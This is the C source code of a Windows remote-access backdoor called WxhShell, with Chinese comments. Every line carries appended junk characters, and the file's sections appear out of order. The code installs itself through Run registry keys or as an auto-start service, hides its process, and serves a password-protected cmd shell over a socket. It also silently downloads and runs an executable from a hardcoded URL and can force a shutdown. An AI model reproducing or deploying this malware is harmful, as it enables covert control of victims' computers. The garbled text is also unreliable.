    if(Boot(SHUTDOWN)) 4.)hCb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !=j\pu} Z  
    else { dI'cZt~n  
    closesocket(wsh); @/i;/$\  
    ExitThread(0); %N 8/g]`7  
    } hA1\+r  
    break; o<@b]ukl&  
    } #L[-WC]1y  
  // 获取shell 0PIiG-o9  
  case 's': { f`w$KVZ1!w  
    CmdShell(wsh); EgO=7?(pW  
    closesocket(wsh); Hn"xn79nc  
    ExitThread(0); __HPwOCG7  
    break; e;KZTH;  
  } Mf)0Y~_:R#  
  // 退出 F(*~[*Ff  
  case 'x': { 9U1cH qV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |:_WdU"Q]  
    CloseIt(wsh); 16"eyt>  
    break; 'f0*~Wq|  
    } C2RR(n=N^  
  // 离开 :7&#ej6  
  case 'q': { "YbvI@pD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gJn|G#!  
    closesocket(wsh); s)Bmi  
    WSACleanup(); ^E_`M:~  
    exit(1); xBH`=e <  
    break; =ML6"jr  
        } ?n o.hf  
  } 19a/E1  
  } 4naL2 Y!  
({=: N  
  // 提示信息 ['%]tWT9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LX{[9   
} a1]@&D r  
  } A<ca9g3  
6.? Ke8iC  
  return; dKyJ.p   
} MONfA;64/  
8z&7wO  
// shell模块句柄 b e[KNrO  
int CmdShell(SOCKET sock) ~_C[~-  
{ S#+Dfa`8X  
STARTUPINFO si; O>e2MT|#k  
ZeroMemory(&si,sizeof(si)); e(7F| G*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p%) 1(R8qM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AF5.)Y@.  
PROCESS_INFORMATION ProcessInfo; \Z0-o&;w  
char cmdline[]="cmd"; eqz#KN`n#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Mx<V;GPm  
  return 0; c>+l3&`  
} 7FL!([S5i  
d~f_wN&r  
// 自身启动模式 J6Uo+0S  
int StartFromService(void) g{K*EL <  
{ f\CJ |tKX  
typedef struct @, v'V!  
{ ssbvuTr  
  DWORD ExitStatus; LGx]z.30B  
  DWORD PebBaseAddress; 4DY\QvW5  
  DWORD AffinityMask; ((i%h^tGa;  
  DWORD BasePriority; +4G]!tV6  
  ULONG UniqueProcessId; 8[  
  ULONG InheritedFromUniqueProcessId; 7UQFAt_r  
}   PROCESS_BASIC_INFORMATION; YCvIB'  
PveY8[i  
PROCNTQSIP NtQueryInformationProcess; tr8a_CV  
e| x1Dq  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1fBj21zG  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  pv<$ o  
2QwdDKMS_  
  HANDLE             hProcess; O>]I!n`!!A  
  PROCESS_BASIC_INFORMATION pbi; ETk4I "  
A&%vog]O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dh r)ra]  
  if(NULL == hInst ) return 0; < GoUth.#  
5Vo8z8]t`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8,\toT7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hM~9p{O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2pR+2p`  
`I|$U)'  
  if (!NtQueryInformationProcess) return 0; (V2~txMh  
b77Iw%x7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &NbhQY`k  
  if(!hProcess) return 0; GSzb  
7: 7i}`O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E^kB|; Ki  
,PH;j_  
  CloseHandle(hProcess); OwXw9  
S<do.{|p[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1<y(8C6  
if(hProcess==NULL) return 0; y[M<x5  
=7{n 2  
HMODULE hMod; ;&mefaFlWp  
char procName[255]; eXo7_#  
unsigned long cbNeeded; d:08@~#  
) #G5XS+)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w1q-bIU  
%M"rc4Xd  
  CloseHandle(hProcess); V$U#'G>m  
om6'%nXhn  
if(strstr(procName,"services")) return 1; // 以服务启动 A")F7F31c  
QWL$F:9:  
  return 0; // 注册表启动 jK`b6:#(,  
} Z$qLY<aV  
xUT]6T0dB  
// 主模块 o+{]&V->gN  
int StartWxhshell(LPSTR lpCmdLine) a<%Ivqni  
{ X@l>mAk  
  SOCKET wsl; 9H^$cM9C  
BOOL val=TRUE; MTm}qx@L  
  int port=0; a3t[Tk;  
  struct sockaddr_in door; D#VUx9kugv  
u.!}s2wT#  
  if(wscfg.ws_autoins) Install(); )anprhc  
;+:C  
port=atoi(lpCmdLine); 8YroEX[5l  
#-T xhwYs  
if(port<=0) port=wscfg.ws_port; WdQR^'b$   
A HnXN%m  
  WSADATA data; (^h2 'uB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; AlZ]UGf^  
%UGXgYDz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `h%(ZG ~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y3%_IwSJ|  
  door.sin_family = AF_INET; %x(||cq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Tj0qq.  
  door.sin_port = htons(port); u!$+1fI>  
0?@;zTE0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bH 6i1c8  
closesocket(wsl); 4KSZ;fV6/  
return 1; &lnr?y^  
} ck0K^o v  
FU]jI[  
  if(listen(wsl,2) == INVALID_SOCKET) { p./9^S  
closesocket(wsl); B=vBJC)  
return 1; V)|]w[(Y  
} HLYog+?  
  Wxhshell(wsl);  ,2yIKPWk  
  WSACleanup(); ](%EQ[  
o03Y w)*  
return 0; EV=/'f[++  
pNt,RRoR  
} w|t}.u  
$, I%g<  
// 以NT服务方式启动 &YiUhK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <V} ec1  
{ NW=gi qB  
DWORD   status = 0; eMHBY6<~=  
  DWORD   specificError = 0xfffffff; QOT|6)Yb  
ya`Z eQ-p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H6o_*Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >`E (K X  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zCz"[9k  
  serviceStatus.dwWin32ExitCode     = 0; :{ 8,O-  
  serviceStatus.dwServiceSpecificExitCode = 0; h^ o@=%b  
  serviceStatus.dwCheckPoint       = 0; fYgEiap  
  serviceStatus.dwWaitHint       = 0; ^*g= 65!1  
uT#4"G9A[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Iu V7~w  
  if (hServiceStatusHandle==0) return; 5MX7V4ist  
Zb&5)&'X  
status = GetLastError(); i>j(Dsv  
  if (status!=NO_ERROR) `f)X!S2l  
{ c^F@9{I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jNbU{Z%r  
    serviceStatus.dwCheckPoint       = 0; ^55q~DP}>  
    serviceStatus.dwWaitHint       = 0; 9*Z!=Y#4,  
    serviceStatus.dwWin32ExitCode     = status; vV PK  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8T523VI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q8h0:Q  
    return; q1Sr#h|  
  } /mK."5-cm  
.ri?p:a}w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; As>-9p>v  
  serviceStatus.dwCheckPoint       = 0; r"4&.&6  
  serviceStatus.dwWaitHint       = 0; e'dx Y(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]H-5    
} P*!~Z *"  
9O4\DRe5c  
// 处理NT服务事件,比如:启动、停止 |s!<vvp]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 16-1&WuY@  
{ Z,_EhEm  
switch(fdwControl) Y 8Dn&W  
{ nvInq2T 1  
case SERVICE_CONTROL_STOP: ]^>RBegJBO  
  serviceStatus.dwWin32ExitCode = 0; \Dx5=Lh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; GeFu_7u!|  
  serviceStatus.dwCheckPoint   = 0; ;659E_y>  
  serviceStatus.dwWaitHint     = 0; hd>_K*oH  
  { /A82~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TQL_K8k@_  
  } P;bOtT --  
  return; wl N l|+ K  
case SERVICE_CONTROL_PAUSE: .VA'W16  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; KN< KZM  
  break; tq.g4X ;_  
case SERVICE_CONTROL_CONTINUE: ]|8*l]oc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Bk;/>gD  
  break; H tx)MEZ  
case SERVICE_CONTROL_INTERROGATE: 19]O;  
  break; ` st^i$A  
}; %) /Bl.{}<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 70F(`;  
} ? 4v"y@v  
X,`^z,M%I  
// 标准应用程序主函数 mV;)V8'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) GhC%32F  
{ LZ4Z]!V  
_]Y9Eoz  
// 获取操作系统版本 vSv:!5*  
OsIsNt=GetOsVer(); j"Z9}F@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '>Uip+'  
Hdda/?{b  
  // 从命令行安装 9jJ:T$}  
  if(strpbrk(lpCmdLine,"iI")) Install();  K)P].htw  
F7&Oc)f"B  
  // 下载执行文件 W61nJ7@  
if(wscfg.ws_downexe) { zwgO|Qg;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;\54(x}|K  
  WinExec(wscfg.ws_filenam,SW_HIDE); yP"D~u  
} 9xRor<  
A 6j>KTU  
if(!OsIsNt) { A3A"^f$$  
// 如果时win9x,隐藏进程并且设置为注册表启动 #eY?6Kjn  
HideProc(); :pNu$%q  
StartWxhshell(lpCmdLine); Ou5,7Ne  
} C<E;f]d  
else 55V&[>|K5  
  if(StartFromService()) +nKf ^rG  
  // 以服务方式启动 +kM*BCPYE  
  StartServiceCtrlDispatcher(DispatchTable); OE(!^"5?[  
else ."h>I @MH  
  // 普通方式启动 `{+aJ0<S  
  StartWxhshell(lpCmdLine); vq8&IL  
X8~gLdv8  
return 0; I,7n-G_'  
} oLc  
FQBAt0  
~+&Z4CYb  
^~DClZ  
=========================================== %&&;06GU}  
 MuP&m{  
]-8yZWal  
_8s1Wh G  
$@eFSA5k,7  
^2eH0O!  
" Yg! xlrxA  
K&;;{~md.  
#include <stdio.h> ]GmXZi  
#include <string.h> j9 O"!9$vQ  
#include <windows.h> e"]DIy4s  
#include <winsock2.h> tS sDW!!M  
#include <winsvc.h> #RTiWD[o  
#include <urlmon.h> oF=UjA  
q:3HU<  
#pragma comment (lib, "Ws2_32.lib") ,7^,\ ,-m  
#pragma comment (lib, "urlmon.lib") -3|i5,f  
q":0\ar&QT  
#define MAX_USER   100 // 最大客户端连接数 } !1pA5x$  
#define BUF_SOCK   200 // sock buffer Na>?1F"KHk  
#define KEY_BUFF   255 // 输入 buffer qAirH1#  
:=2l1Y[-G  
#define REBOOT     0   // 重启 .*c%A^>  
#define SHUTDOWN   1   // 关机 l^4!  
>-4kO7.V  
#define DEF_PORT   5000 // 监听端口 (nt=  
q|xic>.  
#define REG_LEN     16   // 注册表键长度 )kt,E}609  
#define SVC_LEN     80   // NT服务名长度 O;SD90  
iNEE2BPp  
// 从dll定义API @WO>F G3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t_{rKb,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B$&&'i%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z)dE#A_X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0|OmQ\SQ  
_?~)B\@~0  
// wxhshell配置信息 [a\>"I\[  
struct WSCFG { FW,@.CX  
  int ws_port;         // 监听端口 t.6gyrV7><  
  char ws_passstr[REG_LEN]; // 口令 N-<m/RS  
  int ws_autoins;       // 安装标记, 1=yes 0=no +I_p\/J?w/  
  char ws_regname[REG_LEN]; // 注册表键名 S#f}mb0,  
  char ws_svcname[REG_LEN]; // 服务名 8L,i}hIo.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &J}w_BFww  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9/4Bx!~A  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K91.-k3)$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >n6yKcjY]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WG(%Pkowv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .h@HAnmE  
G&v. cF#Y'  
}; VQ'DNv| 9  
h$I 2T  
// default Wxhshell configuration TI^M9;b  
struct WSCFG wscfg={DEF_PORT, jjU("b=  
    "xuhuanlingzhe", NiO|Aki{  
    1, )@\m0bnF  
    "Wxhshell", 4KT-U6zNx  
    "Wxhshell", UWW_[dJr   
            "WxhShell Service", hwB>@r2  
    "Wrsky Windows CmdShell Service", 0Lki (  
    "Please Input Your Password: ", Wz-7oP%;I  
  1, <O30X !QuK  
  "http://www.wrsky.com/wxhshell.exe", ui4*vjd  
  "Wxhshell.exe" OVf%m~%&s  
    }; (d$ksf_[%f  
H/BU2sa  
// 消息定义模块 N cnL-k.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mZb[Fi  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d}_%xkC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nk-V{']  
char *msg_ws_ext="\n\rExit."; @T 8$/  
char *msg_ws_end="\n\rQuit."; =VM4Q+'K  
char *msg_ws_boot="\n\rReboot..."; z9IJ%= R  
char *msg_ws_poff="\n\rShutdown..."; ;'xd8Jf  
char *msg_ws_down="\n\rSave to "; z{ydP Ra  
XbL\l  
char *msg_ws_err="\n\rErr!"; G2e0\}q  
char *msg_ws_ok="\n\rOK!"; `Wy8g?d;bn  
6<+8[o  
char ExeFile[MAX_PATH]; (N`x  
int nUser = 0; H_+F~P5RC  
HANDLE handles[MAX_USER]; .~ yz1^ c  
int OsIsNt; [sweN]b6F  
n;,>Fv  
SERVICE_STATUS       serviceStatus; }~3 %KHT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R8YA"(j!L  
h!UB#-  
// 函数声明 L2m~ GnP|?  
int Install(void); u=9)A9  
int Uninstall(void); a<ztA:xt|1  
int DownloadFile(char *sURL, SOCKET wsh); +\@WOs  
int Boot(int flag); yHt `kb2  
void HideProc(void); O]N 8Q H  
int GetOsVer(void); ~Y /55uC  
int Wxhshell(SOCKET wsl); Vs~!\<?  
void TalkWithClient(void *cs);  f]JLFg7  
int CmdShell(SOCKET sock); ! fSM6Vo  
int StartFromService(void); %?~`'vYoi  
int StartWxhshell(LPSTR lpCmdLine); {'R\C5 :D7  
OJ Y_u[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2E d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xBW{Wyh  
6pi^rpo  
// 数据结构和表定义 x0dO ^D  
SERVICE_TABLE_ENTRY DispatchTable[] = v9 K{oB  
{ ~[d|:]  
{wscfg.ws_svcname, NTServiceMain}, m_n*_tX  
{NULL, NULL} 6fr@y=s2:  
}; 'AjDB:Mt$  
UM QsYD)  
// 自我安装 \"^.>+  
int Install(void) {^qp~0  
{ __N#Y/e ]  
  char svExeFile[MAX_PATH]; 5\|u] ~b  
  HKEY key; FELTmQUV  
  strcpy(svExeFile,ExeFile); I:9jn"  
,}hJ)  
// 如果是win9x系统,修改注册表设为自启动 nax(V  
if(!OsIsNt) { &@anv.D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G,6Zy-Y9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O.g!k"nas&  
  RegCloseKey(key); uY'77,G_J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dDoKmuY>5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #Z.2g].  
  RegCloseKey(key); /"*eMe!=  
  return 0; _>"f&nb O  
    } A]k-bX= s  
  } qq1@v0  
} Z}*{4V`R  
else { 1__Mf.A  
%x G3z7;  
// 如果是NT以上系统,安装为系统服务 :?.RZKXQF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); js#72T/_n  
if (schSCManager!=0) L&s|<<L  
{ rS3* k3  
  SC_HANDLE schService = CreateService ]E/~PV  
  ( 3] u[NR  
  schSCManager, <h7FS90S  
  wscfg.ws_svcname, &lp5W)D  
  wscfg.ws_svcdisp, E")g1xGaK  
  SERVICE_ALL_ACCESS, 0~0OQ/>7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ws>2 S  
  SERVICE_AUTO_START, nD8CP[bRo  
  SERVICE_ERROR_NORMAL, ca{u"n  
  svExeFile, 'eRJQ*0F  
  NULL, 3.^Tm+ C  
  NULL, ' 3MCb  
  NULL, B}YpIb]d  
  NULL, m2o)/:  
  NULL |`50Tf\J  
  ); u^!c:RfE?  
  if (schService!=0) 861!p%y5  
  { _:Jra  
  CloseServiceHandle(schService); n6f  
  CloseServiceHandle(schSCManager); 5sc`L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); n2#Yw}7^,o  
  strcat(svExeFile,wscfg.ws_svcname); H ^<LnYZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n)'5h &#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rL=_z^.P  
  RegCloseKey(key); |d B`URP  
  return 0; N3`EJY_|V  
    } _ Db05:r@  
  } keYvscRBI  
  CloseServiceHandle(schSCManager); :~1sF_  
} ,GH;jw)P  
} ^*fZ  
:GaK.W q  
return 1; iO,_0Y4  
} D@cv{ _M/  
8'Y7lOXS  
// 自我卸载 c< P ML|e  
int Uninstall(void) t'{\S_  
{ U0Y;*_>4  
  HKEY key; x/pM.NZF1  
}bg_?o;X}  
if(!OsIsNt) { =Bq3O58+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RrPo89o  
  RegDeleteValue(key,wscfg.ws_regname); :+m8~n$/  
  RegCloseKey(key); B?G!~lQ)o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nbGB84  
  RegDeleteValue(key,wscfg.ws_regname); #`>46T  
  RegCloseKey(key); #s-^4znv9  
  return 0; fuQb h  
  } z+Cw*v\Y  
}  d Xiv8B1  
} *<[Nvk^  
else { >O:31Uk  
}95;qyQ$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E_[)z%&n2  
if (schSCManager!=0) F;Lg w^1!  
{ 4KkjBPV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H*Tc.Ie  
  if (schService!=0) <r{M(yZ?@  
  { \VTNXEw*G  
  if(DeleteService(schService)!=0) { Q--VZqn  
  CloseServiceHandle(schService); #00k7y>OyD  
  CloseServiceHandle(schSCManager); Gw0_M&  
  return 0; 2'38(wXn#  
  } mF?GQls`  
  CloseServiceHandle(schService); -666|pA  
  } */|Vyp-  
  CloseServiceHandle(schSCManager); 6^oQ8unmS  
} ZDI%?.U  
} Pa{)@xT  
0(Hhb#WDh\  
return 1; _7O;ED+  
} I\BcG(hlJ  
GomTec9.  
// 从指定url下载文件 Jx:t(oUR+  
int DownloadFile(char *sURL, SOCKET wsh) 0M'[|ci d|  
{ VGVZ`|  
  HRESULT hr; 0 tZ>yR  
char seps[]= "/"; \GR M,c  
char *token; a*pwVn  
char *file; g@va@*|~d  
char myURL[MAX_PATH]; } +@H&}u  
char myFILE[MAX_PATH]; [`_ZlC  
JMUk=p<\  
strcpy(myURL,sURL); B4<W%lm  
  token=strtok(myURL,seps); Q bg,q  
  while(token!=NULL) $8{|25 *E  
  { QEavbh^S  
    file=token; @-~ )M_  
  token=strtok(NULL,seps); Q UQ"2oC  
  } scff WqEo  
4TBK:Vm5  
GetCurrentDirectory(MAX_PATH,myFILE); {G+pI2^  
strcat(myFILE, "\\"); lYS+EVcR  
strcat(myFILE, file); me#?1r  
  send(wsh,myFILE,strlen(myFILE),0); $ON4 nx  
send(wsh,"...",3,0); abHW[VP9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VPKoBJ&  
  if(hr==S_OK) Nvlfi8.  
return 0; $ylQ \Y'  
else wz,T7L  
return 1; *q?-M"K  
HywT  
} n>_EE w2/  
<*g!R!  
// 系统电源模块 b;N[_2  
int Boot(int flag) k k&8:;Vj  
{ 5,>Of~YN  
  HANDLE hToken; _:: q S!  
  TOKEN_PRIVILEGES tkp; rc*iL   
1|?8g2Vf  
  if(OsIsNt) { h"7:&=e  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uG|d7LS,%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); acSm+t  
    tkp.PrivilegeCount = 1; _?vh#6F  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "!9hcv- ;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Gj~1eS  
if(flag==REBOOT) { B]`!L/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n>)'!   
  return 0; 0g-bApxz*&  
} %~V+wqu  
else { sG/mmZHYzr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9(9+h]h+3  
  return 0; .%.kEJh`  
} JJ50(h)U  
  } $a.!X8sHB.  
  else { GwOn&EpY!  
if(flag==REBOOT) { BEQ$p) h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8sDbvVh1F  
  return 0; ZfpV=DU  
} r((2.,\Z  
else { B@:c 8}2.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K/2k/\Jk[_  
  return 0; d6$,iw@>^  
} 14[+PoF^A  
} `]Uu`b  
}@6/sg  
return 1; 2(-J9y|  
} ?P+n0S!  
)JO#Z(  
// win9x进程隐藏模块 ArFsr  
void HideProc(void) Kk}|[\fW  
{ m3apeIEi[  
}~?B>vZS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u,zA^%   
  if ( hKernel != NULL ) x>>#<hOz[  
  { 'IorjR@ 40  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); FS3MR9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x[mxp/ /P  
    FreeLibrary(hKernel); I9! eL4e  
  } K3jPTAw=#  
c+6/@y  
return; 02Ftn&bi  
} m=^`u:=  
j>2Jw'l;?  
// 获取操作系统版本 jWn!96NhlL  
int GetOsVer(void) -_m>C2$6x  
{ 6.o8vC/PZ  
  OSVERSIONINFO winfo; &GF|Rr8NXs  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bIFKP  
  GetVersionEx(&winfo); hX-([o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vv2N;/;I  
  return 1; y_^w|  
  else _RLx;Tn)L  
  return 0; HF9\SVR B  
} vybQ}dscn  
y Iab3/#`  
// 客户端句柄模块 9uXuV$.  
int Wxhshell(SOCKET wsl) U>q&p}z0 H  
{ AN!MFsk  
  SOCKET wsh; Sv*@3x  
  struct sockaddr_in client; ISQC{K']J  
  DWORD myID; }Pm>mQZ},  
-S7PnR6  
  while(nUser<MAX_USER) y8Q96zi  
{ QHt;c  
  int nSize=sizeof(client); 49)A.Bh&!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @%4MFc0`!  
  if(wsh==INVALID_SOCKET) return 1; jpL' y1@Ut  
$jt  UQ1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \5+?wpH  
if(handles[nUser]==0) k,EI+lCX  
  closesocket(wsh); {U$qxC]M  
else v&6=(k{E@R  
  nUser++; hjuzVOE|W  
  } _%HpB=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 81\$X  
'~dE0ohWb  
  return 0; K3eYeXV  
} MA:2]l3e  
Hpo/CY/  
// 关闭 socket 0-)D`s%  
void CloseIt(SOCKET wsh) $ae*3L>5M  
{ 9n$0OH /q  
closesocket(wsh); '64&'.{#>r  
nUser--; so* lV  
ExitThread(0); GZL{~7n  
} J`6X6YZ  
~~U2Sr  
// 客户端请求句柄 ~, hPi  
void TalkWithClient(void *cs) 0D;MW  
{ $rB20!  
-rU~  
  SOCKET wsh=(SOCKET)cs; /?POIn+0o  
  char pwd[SVC_LEN]; ~[@Gj{6p0  
  char cmd[KEY_BUFF]; V}1D1.@  
char chr[1]; {x{/{{wzv  
int i,j; rm7$i9DH2  
pRsYA7Ti  
  while (nUser < MAX_USER) { xy@1E;  
]J^ 9iDTTA  
if(wscfg.ws_passstr) { ~Rzn =>a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Jjb(lW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m){.{Vn]  
  //ZeroMemory(pwd,KEY_BUFF);  N-x~\B!  
      i=0; `={s*^Ta  
  while(i<SVC_LEN) { 0> pOP  
f%LzWXA  
  // 设置超时 b8V]/  
  fd_set FdRead; FzOr#(^  
  struct timeval TimeOut; cD-.thHO  
  FD_ZERO(&FdRead); ` [ EzU+  
  FD_SET(wsh,&FdRead); njk.$]M|nf  
  TimeOut.tv_sec=8; zE{@'  
  TimeOut.tv_usec=0; ;T0Y= yC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P# o/S4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !Jo3>!,j  
dzY B0vut@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O*3x'I*a  
  pwd=chr[0]; yVThbL_YJ  
  if(chr[0]==0xd || chr[0]==0xa) { lVywc:X  
  pwd=0; 4\HB rd#P  
  break; h&7]Bp  
  } [3a-1,  
  i++; o0-7#2  
    } '1)BZ!  
@`:n+r5u  
  // 如果是非法用户,关闭 socket C;DNL^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ep% 5wR  
} NI eKS_ +  
!HA[:-JCz  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); VjU;[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =RR225  
@l9qH1  
while(1) { J@ x%TA  
_C9*M6IU  
  ZeroMemory(cmd,KEY_BUFF); KlgPDV9mg  
$or?7 w>  
      // 自动支持客户端 telnet标准   QN[-XQ>Xt  
  j=0; )hH9VGZq(  
  while(j<KEY_BUFF) { GyV3]Qqj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !F0MLvdX7^  
  cmd[j]=chr[0]; wj>mk  
  if(chr[0]==0xa || chr[0]==0xd) { tt=?*n  
  cmd[j]=0; H'myd=*h~8  
  break; GS|sx  
  } T`g.K6$b  
  j++; r3o_mO?X  
    } L&1VPli  
(~/VP3.S  
  // 下载文件 uLYz!E+E  
  if(strstr(cmd,"http://")) { e{edI{g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !1f8~"Z  
  if(DownloadFile(cmd,wsh)) z`-?5-a]I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X{rw+!  
  else u,0N[.&N  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2 Mc/ah  
  } OL]^4m  
  else { \F%5TRoC  
iw<#V&([ J  
    switch(cmd[0]) { @ViJJ\  
  \oF79   
